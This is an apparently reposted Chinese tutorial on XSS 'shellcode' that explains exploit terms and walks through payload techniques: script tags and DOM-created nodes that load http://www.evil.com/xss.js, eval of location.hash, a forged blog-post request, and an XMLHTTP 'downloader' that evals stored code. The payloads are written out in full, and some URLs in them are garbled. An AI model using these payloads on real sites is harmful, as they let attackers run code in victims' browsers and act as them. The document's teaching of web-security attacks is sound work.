跨站脚本攻击—shellcode

来源:互联网 发布:js求数组最大值和下标 编辑:程序博客网 时间:2024/06/08 20:17
接下来讲述XSS  Shellcode 的调用。 
何谓 Shellcode?这个名词曾经多次出现,包括平时经常能听到的 Expliot、
POC等,如果对这些概念还不够清晰,那么下面的解释你必要看一看。

 【Shellcode】 
所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行
的代码。在XSS跨站脚本中,是指由JavaScript 等脚本编写的XSS 利用代码。 
【Exploit】 
Exploit 的英文意思就是利用,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用
工具(或程序),具有一定的攻击性。 
Exploit 很容易和 Shellcode 混淆,所以需要记住一点:Exploit 往往包含了Shellcode。 
【POC】 
即Proof of Concept 的缩写,是一段证明漏洞存在的程序代码片段。 
明白这几个概念后,我们回到主题中。 
在传统 XSS 的返 Shellcode 一般是直接写进页面中执行,不过实际环境中可能会遇到
重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把 Shellcode
写到远程服务器上,然后使用<script>等标签对其进行调用,或者使用一些本地存储对象对其进
行存储和调用等。 

 
 在XSS中调用Shellcode 有多种方式。 
   动态调用远程 JavaScript  
假设www.bug.com的 某个地方有XSS 漏洞,Exploit 如下: 
http://www.bug.com/veiw.php?sort=【Expliot】 
可以直接把Shellcode 写到URL参数中,如: 
http://www.bug.com/veiw.php?sort="><script>alert(/xss/)</script> 
这里有个显而易见的缺点,就是恶意代码败露在 URL链接中,容易使网站用户产生怀疑。
此外,Web 应用程序不仅会对当中的恶意代码进行过滤,也会限制 URL的字符长度。所以,方
便起见,Shellcode 可写到其他服务器的文件上,然后再用<script>标签进行动态加载。 
譬如上面的例子中,可以很容易地在里面添加一个 src 属性,并远程执行: 
"><script src=http:// www. evil.com/xss.js></script>< 
http://www.bug.com/veiw.php?sort="><script  src=http:// ;
www..evil.com/xss.js></script>< 
除了使用<script>标签动态调用远程JavaScript,还可以DOM 的方法创建和插入节
点,把脚本或HTML注入到网页,实现过程如下: 
var s=document.createElement("script"); 
s.src="http://www.evil.com/xss.js"; 
document.getElementsByTagName("head")[0].appendChild(s); 
第一行代码使用createElement()函数创建一个新元素 -script。  
 
第二行代码把<script>的 src 属性设置成  “http://www.evil.com/xss.js”,xss.js 里面写有
Shellcode 代码。 
第三行代码使用getElementsByTagName()函数查找并返回文档中第一个元素(因为索引为 0)
然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个。 
简单来说,这段脚本的作用就是动态创建了一个<script>标签,其 src 属性指向
http://www.evil..com/xss.js,然后把引用JavaScript 的代码插入到网页的<head>标签后。 
怎么使用 window.location.hash  
加载远程域的 JavaScript 文件是调用 XSS  Shellcode 的常见方式之一,它的不便之处在于:
需要有远程服务器的权限,恰当地说,利用者必须上传 JavaScript 等文件到  
如果仅仅是为了解决 URL字符长度问题,还可以使用另一种方式实现Shellcode 的存储和
调用 利用window.location.hash 属性。 
location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用
location.href=url 就可以直接将页面重定向 URL,而 location.hash 则可以用来获取或设置页面的
标签值。比如 http://domain/#admin 的 location.hash="#admin",利用这个属性值可以做一件非常
有意义的事情。 
例如前面的例子,如果结合location.hash 的特性调用Shellcode,具体代码如下: 
http://www.bug.com/veiw.php?sort="><script>eval(location.hash.subst 
r(1))</script>#alert('xss') 
简单解释一下上述代码: 
substr()可在字符串中抽取从 start 下标(这里是 1)开始的指定数目的字符,所以
location.hash.substr(1)  的作用是抽取“#”符号后面的字符,即alert('xss');而eval()函数用来计算 JavaScript 代码。那么,eval(location.hash.substr(1))的功能就是执行
Url的#之后的 JavaScript 代码,通过这个技巧,就能先把Shellcode 写到地址参数中再执行。如: 
http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script># 
var url="/index.php?mod=blog&act=dopost";var content="blog_content=By%3A%E5%AD%A4 "; 
function  _sd_Post(Url,    Args){var  xmlhttp;var  error;eval('try  {xmlhttp    =  new 
ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {xmlhttp  = null;error=e;}');if(null != 
xmlhttp){ xmlhttp.Open("POST",  Url, false); xmlhttp.setRequestHeader("x-requested- 
with",    "XMLHttpRequest");xmlhttp.setRequestHeader("Referer",  
"http://www.my.com/api_  proxy.html");xmlhttp.setRequestHeader("Accept",  
"application/json,  text/javascript,  */*");xmlhttp.setRequestHeader("Content-Type",  
"application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Host",  
"www.my.com");xmlhttp.Send(Args);  strText  =  xmlhttp.responseText;  }}_sd_Post(url, 
content); 
这个XSS Expliot 还可以经过各种编码处理以加强迷惑性。 
XSS Downloader
下面接着介绍另一种存储和调用 Shellcode 的方法,即将其存储到网站的数据库中,包括网
页信息、文章内容、个人资料等地方,然后再把它们下载下来执行。 
简单地说,其实就是打造一个 XSS downloader(XSS 下载器),事先把 Shellcode 写在网站
的 XMLHTTP 控件向网站发送 HTTP请求(POST 或 GET),然后执行返回的
数据,下面是一个简单的POC:  
function XSS(){ 
a=new ActiveXObject('Microsoft.XMLHTTP');  
a.Open('get','http://www.bug.com/11221.html',false);/ 
a.send(); 
b=a.responseText;  
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF')))); 

XSS(); 
而http://www.bug.com/11221.html  页面写入了Shellcode 代码: 
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212 
解释一下这段代码的作用。 
第一行:定义一个XSS()函数,该函数也就是调用 Shellcode 的主函数。 
第二行:创建一个XMLHTTP 对象。 
第三、四行:向http://www.bug.com/11221.html发送一个HTTP 请求并获取 HTTP响应。   
第五行:获取responseText,结果返回为字符串,把该变量赋值给 b 变量。 
第六行:用 indexOf()函数计算 BOF|和|EOF的位置,再用substring()函数方法取出字符串,
最后用unescape()函数方法解码执行。 
如果对 XMLHTTP技术一点都不了解,你可能会被上述难以捉摸的代码迷惑,后续我会为大家讲解的。   

 图片
文章仅仅用于学习!不得用于非法用途!资料部分来源互联网,版权归作者所有!
0 0
原创粉丝点击